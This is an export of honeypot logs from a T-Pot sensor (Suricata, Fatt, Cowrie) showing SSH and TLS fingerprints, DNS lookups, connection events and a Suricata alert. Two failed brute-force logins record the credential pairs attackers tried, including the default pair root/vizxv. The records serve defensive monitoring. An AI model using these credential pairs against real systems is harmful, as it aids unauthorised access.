34928	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:05:35.151332+03	2021-09-20 15:15:02.56269+03	{"_id": "FwYYA3wBvYTbRNuE5Vnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5685, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2339, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2040650515040153, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58988, "timestamp": "2021-09-20T12:05:35.151332Z", "@timestamp": "2021-09-20T12:05:35.151Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34929	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:05:35.201634+03	2021-09-20 15:15:02.564709+03	{"_id": "HAYYA3wBvYTbRNuE51k_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36060, "dest_port": 443, "timestamp": "2021-09-20T12:05:35.201634", "@timestamp": "2021-09-20T12:05:35.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34930	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:05:35.244117+03	2021-09-20 15:15:02.56569+03	{"_id": "HwYYA3wBvYTbRNuE51lA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36060, "timestamp": "2021-09-20T12:05:35.244117", "@timestamp": "2021-09-20T12:05:35.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34931	182.74.25.246	109.199.241.180	Cowrie	2021-09-20 15:05:36.782858+03	2021-09-20 15:15:02.566691+03	{"_id": "LgYYA3wBvYTbRNuE7FmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "182.74.25.246", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "2547884a6eb4", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T12:05:36.782858Z", "@timestamp": "2021-09-20T12:05:36.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	IN
34932	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:05:36.969159+03	2021-09-20 15:15:02.56769+03	{"_id": "LwYYA3wBvYTbRNuE7FmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "403b0283ceab", "@version": "1", "timestamp": "2021-09-20T12:05:36.969159Z", "@timestamp": "2021-09-20T12:05:36.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	FR
34933	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:05:37.231362+03	2021-09-20 15:15:02.56969+03	{"_id": "MAYYA3wBvYTbRNuE7FmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [admin/123QWEasd] failed", "session": "403b0283ceab", "@version": "1", "password": "123QWEasd", "username": "admin", "timestamp": "2021-09-20T12:05:37.231362Z", "@timestamp": "2021-09-20T12:05:37.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	FR
34934	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:05:36.963213+03	2021-09-20 15:15:02.57069+03	{"_id": "MQYYA3wBvYTbRNuE7Vm1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1287186549863076, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35080, "dest_port": 22, "timestamp": "2021-09-20T12:05:36.963213Z", "@timestamp": "2021-09-20T12:05:36.963Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	FR
34935	182.74.25.246	109.199.241.180	Suricata	2021-09-20 15:05:36.782752+03	2021-09-20 15:15:02.57169+03	{"_id": "MwYYA3wBvYTbRNuE7Vm2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "182.74.25.246", "dest_ip": "192.168.20.116", "flow_id": 2134776870890377, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 4168, "dest_port": 22, "timestamp": "2021-09-20T12:05:36.782752Z", "@timestamp": "2021-09-20T12:05:36.782Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	IN
34963	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 15:05:23.615263+03	2021-09-20 15:15:02.61169+03	{"_id": "DwYYA3wBvYTbRNuEuVnC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [root/vizxv] failed", "session": "58dda5b9e76c", "@version": "1", "password": "vizxv", "username": "root", "timestamp": "2021-09-20T12:05:23.615263Z", "@timestamp": "2021-09-20T12:05:23.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	AL
34936	182.74.25.246	109.199.241.180	Fatt	2021-09-20 15:05:36.962926+03	2021-09-20 15:15:02.57269+03	{"_id": "PAYYA3wBvYTbRNuE71kR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "182.74.25.246", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 4168, "dest_port": 22, "timestamp": "2021-09-20T12:05:36.962926", "@timestamp": "2021-09-20T12:05:36.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	IN
34937	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:05:38.005176+03	2021-09-20 15:15:02.573689+03	{"_id": "PgYYA3wBvYTbRNuE8Fl4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:34260 (192.168.176.2:22) [session: 679cbf33ee9f]", "session": "679cbf33ee9f", "@version": "1", "protocol": "ssh", "src_port": 34260, "dest_port": 22, "timestamp": "2021-09-20T12:05:38.005176Z", "@timestamp": "2021-09-20T12:05:38.005Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	HK
34938	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:05:35.149401+03	2021-09-20 15:15:02.575691+03	{"_id": "FgYYA3wBvYTbRNuE5Vnk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5685, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2040650515040153, "@version": "1", "in_iface": "enp5s0", "src_port": 58988, "dest_port": 53, "timestamp": "2021-09-20T12:05:35.149401Z", "@timestamp": "2021-09-20T12:05:35.149Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34939	182.74.25.246	109.199.241.180	Cowrie	2021-09-20 15:05:36.963476+03	2021-09-20 15:15:02.576691+03	{"_id": "KwYYA3wBvYTbRNuE7FmO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "182.74.25.246", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "2547884a6eb4", "@version": "1", "timestamp": "2021-09-20T12:05:36.963476Z", "@timestamp": "2021-09-20T12:05:36.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	IN
34940	182.74.25.246	109.199.241.180	Suricata	2021-09-20 15:05:36.782718+03	2021-09-20 15:15:02.57769+03	{"_id": "MgYYA3wBvYTbRNuE7Vm1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:05:36.420745+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "182.74.25.246", "asn": 9498, "as_org": "BHARTI Airtel Ltd.", "latitude": 26.9133, "location": {"lat": 26.9133, "lon": 75.7879}, "timezone": "Asia/Kolkata", "city_name": "Jaipur", "longitude": 75.7879, "postal_code": "302001", "region_code": "RJ", "region_name": "Rajasthan", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "182.74.25.246", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2134776870890377, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 4168, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:05:36.782718Z", "@timestamp": "2021-09-20T12:05:36.782Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	IN
34941	163.172.167.225	109.199.241.180	Fatt	2021-09-20 15:05:36.963501+03	2021-09-20 15:15:02.579694+03	{"_id": "OQYYA3wBvYTbRNuE71kQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35080, "dest_port": 22, "timestamp": "2021-09-20T12:05:36.963501", "@timestamp": "2021-09-20T12:05:36.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	FR
34942	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:05:38.220127+03	2021-09-20 15:15:02.580694+03	{"_id": "QAYYA3wBvYTbRNuE8Fl4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "679cbf33ee9f", "@version": "1", "timestamp": "2021-09-20T12:05:38.220127Z", "@timestamp": "2021-09-20T12:05:38.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	HK
34943	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:05:38.274043+03	2021-09-20 15:15:02.582691+03	{"_id": "QQYYA3wBvYTbRNuE8Fl4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "403b0283ceab", "@version": "1", "duration": 1.3508515357971191, "timestamp": "2021-09-20T12:05:38.274043Z", "@timestamp": "2021-09-20T12:05:38.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	FR
